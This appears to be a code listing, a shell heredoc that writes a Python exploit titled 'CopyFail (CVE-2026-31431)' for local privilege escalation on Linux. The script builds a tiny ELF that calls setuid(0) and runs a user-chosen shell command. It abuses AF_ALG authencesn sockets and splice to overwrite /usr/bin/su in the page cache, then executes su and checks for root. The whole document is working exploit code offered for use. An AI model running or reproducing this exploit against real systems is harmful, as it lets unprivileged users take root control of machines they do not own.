1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
| cat > /tmp/copyfail_exploit.py << 'PYEOF'
"""CopyFail (CVE-2026-31431) Local Privilege Escalation Exploit."""
import os
import socket
import argparse
from struct import pack
def make_payload(cmd=b"id > /tmp/pwned.txt; chmod 666 /tmp/pwned.txt"):
"""构造最小化 ELF：setuid(0) + execve(cmd)"""
BASE = 0x400000
EHDR_SIZE = 64
PHDR_SIZE = 56
ENTRY_OFF = EHDR_SIZE + PHDR_SIZE
ENTRY = BASE + ENTRY_OFF
code = bytearray()
code += bytes.fromhex("31ff")
code += b"\xb8" + pack("<I", 105)
code += bytes.fromhex("0f05")
mov_rdi_pos = len(code)
code += b"\x48\xbf" + b"\x00" * 8
mov_rsi_pos = len(code)
code += b"\x48\xbe" + b"\x00" * 8
code += bytes.fromhex("31d2")
code += b"\xb8" + pack("<I", 59)
code += bytes.fromhex("0f05")
code += bytes.fromhex("31ff")
code += b"\xb8" + pack("<I", 60)
code += bytes.fromhex("0f05")
data_off = ENTRY_OFF + len(code)
binsh_off = data_off
strings = b"/bin/sh\x00"
dashc_off = binsh_off + len(strings)
strings += b"-c\x00"
cmd_off = binsh_off + len(strings)
strings += cmd + b"\x00"
argv_off = binsh_off + len(strings)
pad = (8 - (argv_off % 8)) % 8
strings += b"\x00" * pad
argv_off += pad
argv = pack("<QQQQ", BASE + binsh_off, BASE + dashc_off, BASE + cmd_off, 0)
body = bytearray(code + strings + argv)
body[mov_rdi_pos + 2:mov_rdi_pos + 10] = pack("<Q", BASE + binsh_off)
body[mov_rsi_pos + 2:mov_rsi_pos + 10] = pack("<Q", BASE + argv_off)
filesize = ENTRY_OFF + len(body)
ehdr = b"".join([
b"\x7fELF", b"\x02", b"\x01", b"\x01", b"\x00" * 9,
pack("<H", 2), pack("<H", 0x3e), pack("<I", 1),
pack("<Q", ENTRY), pack("<Q", EHDR_SIZE), pack("<Q", 0),
pack("<I", 0), pack("<H", EHDR_SIZE), pack("<H", PHDR_SIZE),
pack("<H", 1), pack("<H", 0), pack("<H", 0), pack("<H", 0),
])
phdr = b"".join([
pack("<I", 1), pack("<I", 5), pack("<Q", 0),
pack("<Q", BASE), pack("<Q", BASE), pack("<Q", filesize),
pack("<Q", filesize), pack("<Q", 0x1000),
])
return ehdr + phdr + body
def overwrite_4_bytes(target_fd, target_offset, chunk):
"""通过 AF_ALG/authencesn 向页缓存写入 4 字节"""
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
SOL_ALG = 279
a.setsockopt(SOL_ALG, 1, bytes.fromhex("0800010000000010" + "0" * 64))
a.setsockopt(SOL_ALG, 5, None, 4)
op, _ = a.accept()
op.sendmsg(
[b"A" * 4 + chunk],
[
(SOL_ALG, 3, b"\x00" * 4),
(SOL_ALG, 2, b"\x10" + b"\x00" * 19),
(SOL_ALG, 4, b"\x08" + b"\x00" * 3),
],
32768 # MSG_MORE
)
r, w = os.pipe()
splice_len = target_offset + 4
os.splice(target_fd, w, splice_len, offset_src=0)
os.splice(r, op.fileno(), splice_len)
try:
op.recv(8 + target_offset)
except:
pass
os.close(r)
os.close(w)
op.close()
a.close()
def main():
parser = argparse.ArgumentParser(description="CopyFail CVE-2026-31431 LPE Exploit")
parser.add_argument("-c", "--cmd", default="id > /tmp/pwned.txt; chmod 666 /tmp/pwned.txt",
help="Command to run as root")
args = parser.parse_args()
if "\x00" in args.cmd:
raise ValueError("Command cannot contain null bytes")
print("=" * 60)
print(" CopyFail (CVE-2026-31431) LPE Exploit")
print(" Target: /usr/bin/su")
print("=" * 60)
print(f"[*] Command to run as root: {args.cmd}")
target = "/usr/bin/su"
print(f"[*] Target binary: {target}")
print("[*] Checking AF_ALG availability...")
try:
s = socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
s.close()
print("[+] authencesn(hmac(sha256),cbc(aes)) is available")
except Exception as e:
print(f"[!] authencesn not available: {e}")
exit(1)
print("[*] Building ELF payload...")
payload = make_payload(args.cmd.encode())
print(f"[+] Payload size: {len(payload)} bytes")
fd = os.open(target, os.O_RDONLY)
print(f"[*] Opened {target} (fd={fd}, O_RDONLY)")
print(f"[*] Overwriting page cache, {len(payload)} bytes ({len(payload) // 4} iterations)...")
i = 0
while i < len(payload):
chunk = payload[i:i + 4]
if len(chunk) < 4:
chunk = chunk + b"\x00" * (4 - len(chunk))
overwrite_4_bytes(fd, i, chunk)
if i % 40 == 0:
print(f" [{i}/{len(payload)}] bytes written...")
i += 4
print(f"[+] All {len(payload)} bytes written to page cache")
os.close(fd)
print("[*] Executing patched /usr/bin/su...")
os.system("/usr/bin/su")
print()
print("[*] Checking result...")
if os.path.exists("/tmp/pwned.txt"):
with open("/tmp/pwned.txt") as f:
content = f.read()
print(f"[+] /tmp/pwned.txt content: {content.strip()}")
if "uid=0" in content:
print()
print("=" * 60)
print(" EXPLOIT SUCCESSFUL - Got root!")
print("=" * 60)
if __name__ == "__main__":
main()
PYEOF
|
